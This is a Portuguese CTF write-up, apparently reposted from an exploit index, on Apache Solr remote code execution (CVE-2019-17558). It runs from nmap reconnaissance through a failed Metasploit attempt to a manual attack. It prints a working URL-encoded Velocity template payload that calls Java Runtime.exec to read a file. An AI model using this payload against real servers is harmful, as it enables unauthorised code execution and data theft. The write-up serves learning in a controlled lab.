## https://sploitus.com/exploit?id=853F898F-0246-558F-A925-C302BC1B76AF
# Apache-Solr-RCE-CVE-2019-17558
# 🛡️ Apache Solr Remote Code Execution (CVE-2019-17558) - CTF Write-up
> **Resumo:** Exploração prática de uma vulnerabilidade de *Velocity Template Injection* no Apache Solr, evoluindo de uma falha em ferramenta automatizada (Metasploit) para uma exploração manual bem-sucedida.
## 📋 Cenário
* **Alvo:** Servidor Linux rodando Apache Solr na porta 8983.
* **Objetivo:** Obter acesso ao conteúdo de um arquivo sensível (`/home/favorite_book.txt`).
* **Vulnerabilidade:** CVE-2019-17558 (RCE via Velocity Response Writer).
---
## 🕵️♂️ 1. Reconhecimento (Reconnaissance)
A fase inicial consistiu na identificação de serviços ativos no host alvo.
```bash
nmap -sV -p-
Resultados:
Porta 8983/tcp aberta.
Serviço identificado: Apache Solr.
Core identificado via painel web: novacollection.
🔍 2. Análise de VulnerabilidadeAo acessar o painel administrativo, foi confirmado que a versão do Solr era vulnerável a Velocity Template Injection.Essa falha ocorre quando o atacante consegue modificar a configuração params.resource.loader.enabled para true, permitindo o uso de templates Velocity personalizados para executar código Java arbitrário no servidor.🛠️
3. Tentativa de Exploração Automatizada (Metasploit)Inicialmente, utilizei o módulo exploit/multi/http/solr_velocity_rce do Metasploit.Ação:
O exploit conseguiu alterar a configuração do Solr com sucesso:
[+] params.resource.loader.enabled is true for core 'novacollection'Falha:
No entanto, o estágio final de injeção do payload falhou com um erro de execução Ruby:
NoMethodError: undefined method 'body' for nil:NilClassIsso indicou que, embora o ambiente estivesse vulnerável e preparado, a ferramenta automatizada não conseguia processar a resposta do servidor para finalizar o ataque.🔓
4. Exploração Manual (Bypass & RCE)Com o Velocity Writer já habilitado pelo Metasploit, optei por realizar a injeção manualmente via requisição HTTP GET, contornando o erro do script.Payload Construído (Java Runtime Exec):
Foi elaborada uma URL maliciosa injetando código Java para ler o arquivo alvo.http://:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23endComando Injetado:
cat /home/favorite_book.txt🚩
5. ResultadosA injeção foi bem-sucedida e o conteúdo do arquivo foi retornado diretamente no corpo da resposta HTTP (renderizado no navegador), permitindo a captura da flag.[Image blocked: Screenshot da Flag]🧠 Aprendizados
Limitação de Ferramentas: Scanners e exploits automatizados (como Metasploit) podem falhar devido a peculiaridades do ambiente ou bugs no código do módulo.
Conhecimento de Base: Entender como a vulnerabilidade funciona (CVE-2019-17558) permitiu pivotar de uma falha da ferramenta para um ataque manual bem-sucedido.
Persistência: O erro NoMethodError não significava que o alvo estava seguro, apenas que o método de entrega precisava ser ajustado.
⚠️ Disclaimer
Este repositório foi criado para fins educacionais e documentação de aprendizado em ambientes controlados (CTF). Não utilize essas técnicas em ambientes sem autorização.